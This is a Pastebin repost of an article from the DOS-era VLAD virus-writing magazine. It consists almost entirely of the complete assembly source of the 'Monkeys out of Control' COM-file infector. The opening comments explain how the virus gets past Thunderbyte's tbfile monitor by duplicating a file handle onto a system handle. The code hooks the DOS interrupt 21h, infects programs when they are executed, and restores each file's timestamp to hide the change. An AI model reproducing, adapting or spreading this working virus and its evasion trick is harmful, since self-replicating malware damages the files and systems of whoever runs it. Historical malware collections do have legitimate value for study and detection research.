Advertisement
FlyFar

VLAD Magazine - Issue #3 - ARTICLE.5_1 - Monkeys out of Control Virus Source Code

Jun 29th, 2023
1,289
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 5.04 KB | Cybersecurity | 0 0
  1. ; Monkeys out of Control, a laboratory specimen by Rhincewind [Vlad]
  2. ;
  3. ; The purpose of this virus is to show that Thunderbyte's tbfile will
  4. ; allow writes to file handles that are normally characterbased
  5. ; 'system' handles, set to CON:. Instead of checking if the handle points
  6. ; to a character device, tbfile makes it's judgement based on the handle
  7. ; number only. Tsss..
  8. ;
  9. ; To exploit this flaw, all you have to do is open your target file
  10. ; for read/write and copy the returned file handle to one of the system
  11. ; handles using function 46h.
  12.                
  13.                 .model tiny
  14.  
  15.                 .code
  16.  
  17.                 org 100h
  18.  
  19. start:
  20.                 dec bp
  21.                 mov si, offset endvirus-2
  22.                 mov cx, (endvirus-start)/2
  23.                 std
  24. pushloop:                
  25.                 lodsw
  26.                 push ax
  27.                 loop pushloop          
  28.                 push sp
  29.                 pop ax
  30.                 add ax,(stack_entry-start)
  31.                 push ax
  32.                 cli
  33.                 ret
  34. stack_entry:
  35.                 dec sp
  36.                 dec sp
  37.                 pop bp
  38.                 sti
  39. no_int1:
  40.                 cld
  41.                 mov word ptr [bp+(jmpseg-stack_entry)],cs
  42.                 mov si,offset restore-100h    
  43.                 org $-2
  44. restore_offset  dw ?
  45.                 mov di, 100h
  46.                 add si,di
  47.                 mov cx, (endvirus-start)
  48.                 rep movsb
  49.                 push cx
  50.                 lea si, [bp-(stack_entry-start)]
  51.                 mov di, 200h
  52.                 mov es, word ptr [si-2]
  53.                 mov cx, (endvirus-start)
  54.                 rep movsb
  55.                 mov ds,cx
  56.                 mov ax, offset seg0_entry+100h
  57.                 push ax
  58.                 mov ax,0eaf9h
  59.                 push ax
  60.                 jmp sp
  61.                 db 'Monkeys out of Control'
  62. seg0_entry:
  63.                 jc dont_hang    
  64.                 jmp $
  65. dont_hang:
  66.                 mov di, 84h
  67.                 les bx, dword ptr es:[di]
  68.                 cmp byte ptr ds:[di+2],20h
  69.                 jz exit
  70.                 mov word ptr ds:[di+(int21offset+100h-84h)],bx
  71.                 mov word ptr ds:[di+(int21seg+100h-84h)],es
  72.                 mov word ptr ds:[di+2],20h
  73.                 mov word ptr ds:[di], offset int21-100h
  74. exit:
  75.                 mov ax, [jmpseg+100h]
  76.                 mov ds,ax
  77.                 mov es,ax
  78.                 mov sp,0fffch
  79.                 xor ax,ax
  80.                 xor bx,bx
  81.                 cwd
  82.                 xor bp,bp
  83.                 xor si,si
  84.                 xor di,di
  85.                 db 0eah
  86. jmpoffset       dw 100h
  87. jmpseg          dw 0
  88. int21:
  89.                 cmp ax, 4b00h
  90.                 jnz jmporg21
  91.                 push ax
  92.                 push bx
  93.                 push cx
  94.                 push dx
  95.                 push ds
  96.                 push es
  97.                 mov ah, 48h
  98.                 mov bx, (((endvirus-start)+15)/16)
  99.                 int 21h
  100.                 jc abort_before_mem
  101.                 push ax
  102.                 push ax
  103.                 mov ax,3d02h
  104.                 int 21h
  105.                 xchg ax,dx
  106.                 pop ds
  107.                 jc free_mem_abort
  108.                 mov ah, 45h
  109.                 xor bx,bx
  110.                 int 21h
  111.                 push ax
  112.                 mov ah, 46h
  113.                 mov bx,dx
  114.                 xor cx,cx
  115.                 int 21h
  116.                 push ax
  117.                 mov ah, 3eh
  118.                 int 21h
  119.                 pop bx
  120.                 mov ah, 3fh
  121.                 call cx_len_dx_zero
  122.                 cmp byte ptr ds:[bx],'M'
  123.                 jz file_abort
  124.                 mov ax, 4202h
  125.                 mov cx,bx
  126.                 int 21h
  127.                 mov cs:restore_offset-100h,ax
  128.                 mov ax, 5700h
  129.                 push ax
  130.                 int 21h
  131.                 push cx
  132.                 push dx
  133.                 call write
  134.                 mov ax, 4200h
  135.                 mov cx,bx
  136.                 int 21h
  137.                 push cs
  138.                 pop ds
  139.                 call write
  140.                 pop dx
  141.                 pop cx
  142.                 pop ax
  143.                 inc ax
  144.                 int 21h
  145. file_abort:
  146.                 mov ah, 46h
  147.                 pop bx
  148.                 xor cx,cx
  149.                 int 21h
  150.                 mov ah,3eh
  151.                 int 21h
  152. free_mem_abort:
  153.                 pop es
  154.                 mov ah, 49h
  155.                 int 21h
  156. abort_before_mem:                
  157.                 pop es
  158.                 pop ds
  159.                 pop dx
  160.                 pop cx
  161.                 pop bx
  162.                 pop ax
  163. jmporg21:                
  164.                 jmp dword ptr cs:int21offset-100h
  165. write:
  166.                 mov ah,40h
  167. cx_len_dx_zero:                
  168.                 cwd
  169.                 mov cx, (endvirus-start)
  170. int21_ret:                
  171.                 int 21h
  172.                 ret
  173. align word
  174. endvirus:
  175. restore:
  176. int21offset     dw 20cdh
  177. int21seg        dw ?
  178.  
  179.                 end start
Tags: virus asm vlad
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement